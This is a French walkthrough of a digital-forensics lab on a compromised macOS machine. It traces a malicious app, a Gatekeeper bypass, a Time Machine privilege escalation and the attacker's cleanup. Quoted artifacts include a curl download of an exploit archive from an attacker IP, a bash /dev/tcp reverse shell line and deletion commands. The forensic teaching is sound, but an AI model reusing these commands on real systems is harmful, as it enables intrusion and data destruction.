
Scenario#
Wika est un ingĂ©nieur avant-vente très motivĂ© qui s’efforce d’atteindre ses objectifs professionnels. Pour assurer sa rĂ©ussite, il a soigneusement sĂ©lectionnĂ© les meilleurs outils et applications afin de rationaliser son flux de travail. Cependant, un adversaire inconnu travaillait activement contre lui, tentant de saboter ses efforts et de l’empĂŞcher d’atteindre ses objectifs. Malheureusement, les systèmes de Wika ont Ă©tĂ© compromis, mettant en pĂ©ril ses progrès. En rĂ©ponse Ă cette situation, nous avons mis en sĂ©curitĂ© son Mac afin de mener une enquĂŞte judiciaire dĂ©taillĂ©e visant Ă recueillir des preuves et Ă dĂ©couvrir la vĂ©ritĂ©. Nous avons besoin de votre expertise en tant qu’analyste DFIR pour enquĂŞter sur l’incident.
Setup#
Pour ce Sherlock nous allons utiliser :
- Autopsy
- MacOS-UnifiedLogs from Google Mandiant
Question 1#
Quelle est la version de macOS ?
Pour recueillir les preuves, l’auteur a utilisĂ© l’outil “Live Response Collection Cedarpelta” de Brimor Labs. Nous pouvons trouver ces informations dans le fichier LiveResponseData/BasicInfo/sw_vers.txt.

Cela signifie que ce Mac est sous High Sierra (qui est sorti en juillet 2018).
Réponse : 10.13.6
Question 2#
Quel est le full path de l’application malveillante ?
Pour trouver la rĂ©ponse, nous devons jeter un coup d’oeil Ă lsregister.txt et syslog.txt.
lsregister.txtest le rĂ©sultat du dump du registre des Services de Lancement d’Apple (typiquement produit en lançant la commandelsregister -dump). Cela liste toutes les applications “connus” sur le système (ou les volumes montĂ©s), avec des mĂ©tadonnĂ©es comme les identifiants des apps, les chemins d’accès, les flags (comme “incomplet”, “shell-script”), et les permissions de lancement.syslog.txtest un extrait en clair du journal système du Mac. Il enregistre les Ă©vĂ©nements et les erreurs horodatĂ©s des composants et des applications de macOS, depuis les messages du noyau jusqu’aux erreurs de launchd, afin que que l’on puisse retracer ce que faisait notre machine et oĂą se sont produites les crashs etc.
Dans lsregister.txt nous trouvons :
BundleClass: kLSBundleClassApplication
Container mount state: not mounted
bundle id: 1704
Mach-O UUIDs:
Device Familie
Counterpart ID
sequenceNum: 1704
FamilyID: 0
PurchaserID: 0
DownloaderID: 0
installType: 0
appContainer: #
dataContainer: #
path: /Volumes/
funphotosAPP/
funphotos.app
name: (null)
displayName: (null)
itemName: (null)
teamID: (null)
staticSize: 0
storeFront: 0
versionID: 0
sourceAppID: (null)
ratingLabel: (null)
ratingRank: 0
genre:: (null)
genreID: 0
category: (null)
2ry category: (null)
identifier: (null) (0x0)
vendor: (null)
type: (null)
version: (null) (<00000000 00000000>)
versionString: (null)
displayVersion (null)
codeInfoID: (null)
signerOrg: (null)
mod date: 2/3/25, 1:10 PM
reg date: 2/3/25, 2:33 PM
retries: 15
type code: '\0\0\0\0'
creator code: '\0\0\0\0'
bundle flags: shell-script launch-disabled incomplete (0000000000000290)
item flags: container package application extension-hidden native-app (000000000010008e)
iconName: (null)
executable: Contents/MacOS/
Ce n’est pas Ă©vident que cette est malveillante mais il a quelques bizarreries comme :
- le volume monté
/Volumes/funphotosAPP/funphotos.app - les bundle flags : incomplet
- non signé & métadonnées manquantes
- drapeau shell-script
Ensuite, si nous regardons syslog.txt nous voyons :
Feb 3 14:22:29 wikas-Mac com.apple.xpc.launchd[1] (
com.apple.xpc.launchd.oneshot.0x10000004.funphotos[829]) <Error>: Service could not initialize: 17G66: xpcproxy + 11476 [1524][B5FFE99F-CD7F-3AD0-8C3B-A06EF069275A]: 0x2
Feb 3 14:22:29 wikas-Mac systemstats[46] <Error>: assertion failed: 17G66: systemstats + 914800 [D1E75C38-62CE-3D77-9ED3-5F6D38EF0676]: 0x40
Feb 3 14:22:37 wikas-Mac com.apple.xpc.launchd[1] (com.apple.imfoundation.IMRemoteURLConnectionAgent) <Warning>: Unknown key for integer: _DirtyJetsamMemoryLimit
--- last message repeated 1 time ---
Feb 3 14:23:07 wikas-Mac com.apple.xpc.launchd[1] (com.apple.WebKit.Networking.2973DCFC-CAEF-4EEE-AC57-C034C909879F[804]) <Warning>: Service exited with abnormal code: 1
Feb 3 14:24:22 wikas-Mac com.apple.xpc.launchd[1] (com.apple.quicklook[843]) <Warning>: Endpoint has been activated through legacy launch(3) APIs. Please switch to XPC or bootstrap_check_in(): com.apple.quicklook
Feb 3 14:25:45 wikas-Mac syslogd[35] <Notice>: ASL Sender Statistics
Feb 3 14:27:08 wikas-Mac systemstats[46] <Error>: assertion failed: 17G66: systemstats + 447564 [D1E75C38-62CE-3D77-9ED3-5F6D38EF0676]: 0x0
Feb 3 14:28:46 wikas-Mac systemstats[46] <Error>: assertion failed: 17G66: systemstats + 914800 [D1E75C38-62CE-3D77-9ED3-5F6D38EF0676]: 0x40
Feb 3 14:28:47 wikas-Mac com.apple.xpc.launchd[1] (com.apple.imfoundation.IMRemoteURLConnectionAgent) <Warning>: Unknown key for integer: _DirtyJetsamMemoryLimit
--- last message repeated 7 times ---
[...SNIPPED..]
com.apple.xpc.launchd.oneshot.0x10000008.funphotos[966]) <Error>: Service could not initialize: 17G66: xpcproxy + 11476 [1524][B5FFE99F-CD7F-3AD0-8C3B-A06EF069275A]: 0x2
Feb 3 14:32:41 wikas-Mac systemstats[46] <Error>: assertion failed: 17G66: systemstats + 914800 [D1E75C38-62CE-3D77-9ED3-5F6D38EF0676]: 0x40
Feb 3 14:32:51 wikas-Mac com.apple.xpc.launchd[1] (com.apple.quicklook[968]) <Warning>: Endpoint has been activated through legacy launch(3) APIs. Please switch to XPC or bootstrap_check_in(): com.apple.quicklook
Feb 3 14:33:38 wikas-Mac com.apple.xpc.launchd[1] (com.apple.quicklook[981]) <Warning>: Endpoint has been activated through legacy launch(3) APIs. Please switch to XPC or bootstrap_check_in(): com.apple.quicklook
Feb 3 14:33:38 wikas-Mac com.apple.xpc.launchd[1] (com.apple.imfoundation.IMRemoteURLConnectionAgent) <Warning>: Unknown key for integer: _DirtyJetsamMemoryLimit
Feb 3 14:33:52 wikas-Mac com.apple.xpc.launchd[1] (
com.apple.xpc.launchd.oneshot.0x10000009.funphotos[1007]) <Error>: Service could not initialize: 17G66: xpcproxy + 11476 [1524][B5FFE99F-CD7F-3AD0-8C3B-A06EF069275A]: 0x2
Feb 3 14:33:52 wikas-Mac systemstats[46] <Error>: assertion failed: 17G66: systemstats + 914800 [D1E75C38-62CE-3D77-9ED3-5F6D38EF0676]: 0x40
--- last message repeated 2 times ---
Feb 3 14:34:05 wikas-Mac kcm[1014] <Notice>: DEPRECATED USE in libdispatch client: Setting timer interval to 0 requests a 1ns timer, did you mean FOREVER (a one-shot timer)?
Feb 3 14:34:05 wikas-Mac systemstats[46] <Error>: assertion failed: 17G66: systemstats + 914800 [D1E75C38-62CE-3D77-9ED3-5F6D38EF0676]: 0x40
Feb 3 14:34:13 wikas-Mac com.apple.xpc.launchd[1] (
com.apple.xpc.launchd.oneshot.0x1000000a.funphotos[1018]) <Notice>: Service exited due to signal: Killed: 9 sent by CoreServicesUIAgent[848]
Feb 3 14:34:13 wikas-Mac systemstats[46] <Error>: assertion failed: 17G66: systemstats + 914800 [D1E75C38-62CE-3D77-9ED3-5F6D38EF0676]: 0x40
Feb 3 14:34:15 wikas-Mac com.apple.xpc.launchd[1] (com.apple.imfoundation.IMRemoteURLConnectionAgent) <Warning>: Unknown key for integer: _DirtyJetsamMemoryLimit
--- last message repeated 4 times ---
C’est la mĂŞme chose ici, c’est extrĂŞmement bizarre :
Service exited due to signal : Killed : 9 envoyé par CoreServicesUIAgent[...]- composant macOS de plus haut niveau qui tue le processus, ce qui arrive généralement lorsque le binaire refuse de démarrer ou viole les politiques de signature de code/quarantaine.
- la répétition de ces messages toutes les quelques secondes
- beaucoup d’erreurs de mĂ©moire
Réponse : /Applications/funphotos.app
Question 3#
What is the inode number of the above malicious application?
Il suffit de chercher funphotos.app dans lsregister.txt pour obtenir la réponse.
Réponse : 2156084
Question 4#
Dans la phase d’exĂ©cution, l’utilisateur a exĂ©cutĂ© l’application sans aucune restriction. Quel est le CVE que l’attaquant a essayĂ© d’utiliser pour contourner gatekeeper ?
En regardant l’historique bash de wika, nous pouvons voir ces commandes :
curl -O http://192.168.1.2:8000/priv.zip
unzip priv.zip
Nous pouvons aussi trouver cela dans le listing des fichiers:
Users/wika/
priv.zip
Users/wika/priv/Makefile
Users/wika/priv/bin
Users/wika/priv/bin/test
Users/wika/priv/bin/test.ld_RMARml
Users/wika/priv/exp.m
Grâce Ă la question, au nom du chall, etc., nous pouvons facilement trouver qu’il s’agit de la CVE-2022-22616. Il s’agit d’une faille logique dans la gestion des archives ZIP par Apple, en particulier dans le traitement de la nomenclature (BoM) lors du tĂ©lĂ©chargement et de la dĂ©sarchivage des applications. En construisant un ZIP malveillant dont le premier Local File Header pointe directement sur le rĂ©pertoire YourApp.app/Contents, un attaquant peut s’arranger pour que l’attribut de quarantaine (com.apple.quarantine) ne soit jamais appliquĂ©. Lorsque Gatekeeper voit le paquet dĂ©compressĂ©, il suppose qu’il a dĂ©jĂ Ă©tĂ© approuvĂ© et autorise l’exĂ©cution sans aucune invite de l’utilisateur ou vĂ©rification de l’authentification.
Réponse : CVE-2022-22616
Question 5#
Ă€ quelle heure l’activitĂ© du reverse shell a commencĂ© ?
Nous pouvons supposer que l’activitĂ© du reverse shell a commencĂ© en mĂŞme temps que l’exĂ©cution de l’application malveillante. C’est lĂ que MacOS-UnifiedLogs entre en jeu !
Nous allons l’utiliser pour analyser les UnifiedLogs. Ă€ partir de macOS 10.12 (Sierra), Apple a remplacĂ© les journaux traditionnels en fichiers plats (comme /var/log/system.log) et l’ancien système ASL par le système Unified Logging, qui stocke les entrĂ©es de journaux dans un format structurĂ© et binaire Ă travers plusieurs fichiers “tracev3”, “UUID” et “timesync”. Nous pouvons les trouver tous les produits Apple comme iOS, watchOS etc. Ces journaux couvrent Ă la fois l’espace utilisateur et l’espace noyau, agrĂ©geant les messages de chaque sous-système et processus.
Pour utiliser l’outil, nous pouvons faire :
.\unifiedlog_iterator.exe --mode log-archive -i 'C:\Users\jaybird1291\Downloads\Gatekeeper\wikas-Mac_20250204_022610\LiveResponseData\CopiedFiles\Logs\UnifiedLogs' -o parsed.json
Dedans, j’ai basiquement recherchĂ© “funphotos” qui a donnĂ© ce seul rĂ©sultat :
{
"subsystem": "",
"thread_id": 9368,
"pid": 237,
"euid": 501,
"library": "",
"library_uuid": "",
"activity_id": 0,
"time": 1738616991827988200,
"category": "",
"event_type": "Log",
"log_type": "Default",
"process": "",
"process_uuid": "",
"message": "Unknown shared string message",
"raw_message": "Unknown shared string message",
"boot_uuid": "3457869A10FB4D23A011099541BB0159",
"timezone_name": "Pacific",
"message_entries": [
{
"message_strings": "/private/var/folders/58/_3k7rvqd6mlcl6xsmvrv20jh0000gn/T/AppTranslocation/074BD3B0-9402-4F4E-8F1C-2C8E1EE081A8/d/funphotos.app",
"item_type": 33,
"item_size": 127
}
],
"timestamp": "2025-02-03T21:09:51.827988224Z"
}
Réponse : 2025-02-03 21:09:51
Question 6#
Après que l’utilisateur a contribuĂ© Ă l’exĂ©cution de l’application, quelle est la première commande que l’attaquant a exĂ©cutĂ© lorsqu’il a obtenu un reverse shell ?
En retournant Ă l’historique bash de wika, nous pouvons voir que la première commande est :
whoami
Réponse : whoami
Question 7#
Quel est le nom du fichier d’archive malveillant que l’attaquant a tĂ©lĂ©chargĂ© sur le système ?
Nous avons déjà trouver cela plus tôt :
curl -O http://192.168.1.2:8000/priv.zip
unzip priv.zip
Réponse : priv.zip
Question 8#
Ă€ quel moment l’attaquant a-t-il compilĂ© l’exploit ?
Ici, ma mĂ©thodologie est basique, reconstruire la chronologie et regarder ce qui s’est passĂ© après que l’attaquant ait eu son initial foothold sur la machine.
Nous avons trouvé la trace de whoami à 2025-02-03 21:10:32 UTC :

And bingo! Right after we see a make/usr/bin/make.

Réponse : 2025-02-03 21:13:50
Question 9#
Quand l’attaquant a-t-il obtenu un shell root sur le système ?
Simplement en continuant de regarder la timeline très rapidement nous trouvons :
/usr/bin/hdiutil.dmg/tmp/1warning, failed to copy: %@creating dmg imagecreate-fsHFS+-volnamedisk`t*/1`
A-srcfolder-size840k-formatUDRWmounting malformed diskattachsending XPC msgcom.apple.diagnosticextensions.osx.timemachine.helperdonev16@?0@"NSURL"8now wait ~2min for the rooted shellkillall -9 tmdiagnose[exploit] I am Groot!/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.2/4455 0>&1' &/dev/disk*cleanupexp.mglob("/dev/disk*", 0, NULL, &globlist) == 0eject/Users/wika/priv/bin/test

Réponse : 2025-02-03 21:15:07
Question 10#
Quel nom de volume a été créé lors de la privesc ?
Nous avons dĂ©jĂ la rĂ©ponse grâce Ă la question prĂ©cĂ©dente mais j’ai voulu creuser un peu plus.
Pour cela, j’ai regardĂ© les fichiers fseventsd. Pour rĂ©sumer, FSEvents (File System Events) est une API au niveau du noyau qui suit les modifications du système de fichiers et les signale Ă l’utilisateur via un dĂ©mon appelĂ© fseventsd. Chaque volume montĂ© maintient un rĂ©pertoire cachĂ© .fseventsd Ă sa racine, contenant des fichiers journaux binaires compressĂ©s contenant les modifications de fichiers et de rĂ©pertoires.
Et nous retrouvons ce volume :
Réponse : disk`t*:1`
Question 11#
Un fichier d’erreur a Ă©tĂ© gĂ©nĂ©rĂ© lors de l’exploitation, indiquant une vulnĂ©rabilitĂ© dans un binaire macOS. Quel est l’identifiant CVE associĂ© Ă cette vulnĂ©rabilitĂ© pour l’Ă©lĂ©vation de privilèges ?
Pour ce faire, nous devons revenir à la commande que nous avons trouvée à la question 9 :
/usr/bin/hdiutil.dmg/tmp/1warning, failed to copy: %@creating dmg imagecreate-fsHFS+-volnamedisk`t*/1`
A-srcfolder-size840k-formatUDRWmounting malformed diskattachsending XPC msgcom.apple.diagnosticextensions.osx.timemachine.helperdonev16@?0@"NSURL"8now wait ~2min for the rooted shellkillall -9 tmdiagnose[exploit] I am Groot!/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.2/4455 0>&1' &/dev/disk*cleanupexp.mglob("/dev/disk*", 0, NULL, &globlist) == 0eject/Users/wika/priv/bin/test
Les logs d’erreurs montre la chaĂ®ne d’exploit "killall -9 tmdiagnose[exploit] am Groot !" et la rĂ©fĂ©rence Ă /System/Library/CoreServices/com.apple.diagnosticextensions.osx.timemachine.helper..
Ce sont les marqueurs Ă©vidents de la faille d’injection de commande “tmdiagnose” de Time Machine qu’Apple a corrigĂ©e en mars 2019 et Ă laquelle elle a attribuĂ© la CVE-2019-8513.
Réponse : CVE-2019-8513
Question 12#
Selon le framework MITRE ATT&CK, quelle est la TTP pour l’injection ?
C’est lĂ que ChatGPT est d’une grande aide.
- ExĂ©cution indirecte de commandes - Les adversaires peuvent abuser des utilitaires qui permettent l’exĂ©cution de commandes pour contourner les restrictions de sĂ©curitĂ© qui limitent l’utilisation des interprètes de ligne de commande.
Réponse : T1202
Question 13#
Quelle commande a Ă©tĂ© utilisĂ©e par l’attaquant pour effacer ses traces ?
En revenant aux Unifiedlogs, nous pouvons facilement trouver la commande :
{
"subsystem": "",
"thread_id": 11978,
"pid": 656,
"euid": 0,
"library": "",
"library_uuid": "F6B73B3210BA3B82AC64358818486EB8",
"activity_id": 0,
"time": 1738617349144489200,
"category": "",
"event_type": "Log",
"log_type": "Default",
"process": "",
"process_uuid": "F6B73B3210BA3B82AC64358818486EB8",
"message": "Failed to get string message from UUIDText file: F6B73B3210BA3B82AC64358818486EB8",
"raw_message": "Failed to get string message from UUIDText file: F6B73B3210BA3B82AC64358818486EB8",
"boot_uuid": "3457869A10FB4D23A011099541BB0159",
"timezone_name": "Pacific",
"message_entries": [
{
"message_strings": " root : TTY=unknown ; PWD=/Users/wika ; USER=root ; COMMAND=/bin/rm -r priv",
"item_type": 33,
"item_size": 79
}
],
"timestamp": "2025-02-03T21:15:49.144489216Z"
}
Réponse : sudo rm -r priv
Question 14#
Ă€ quel moment l’attaquant a-t-il commencĂ© Ă effacer ses traces ?
La réponse se trouve dans la question précédente.
Réponse : 2025-02-03 21:15:49
Question 15#
Quels sont les noms des deux fichiers que l’attaquant a supprimĂ©s pour empĂŞcher l’utilisateur d’atteindre son objectif (par ordre alphabĂ©tique) ?
Encore une fois, dans l’historique bash :
cd Documents
ls
rm Targets.rtf
ls
rm mytarget.txt
echo "Now it is okay, show me how you will achive your target"
Réponse : mytarget.txt, Targets.rtf
Question 16#
Entre-temps, il a dĂ©couvert qu’il Ă©tait peut-ĂŞtre compromis. Quelle est la recherche qu’il a effectuĂ©e pour confirmer ou vĂ©rifier ce soupçon ?
Dans le fichier History.db de Safari, nous trouvons :
Réponse : how to know that am not hacked
Lab terminé !
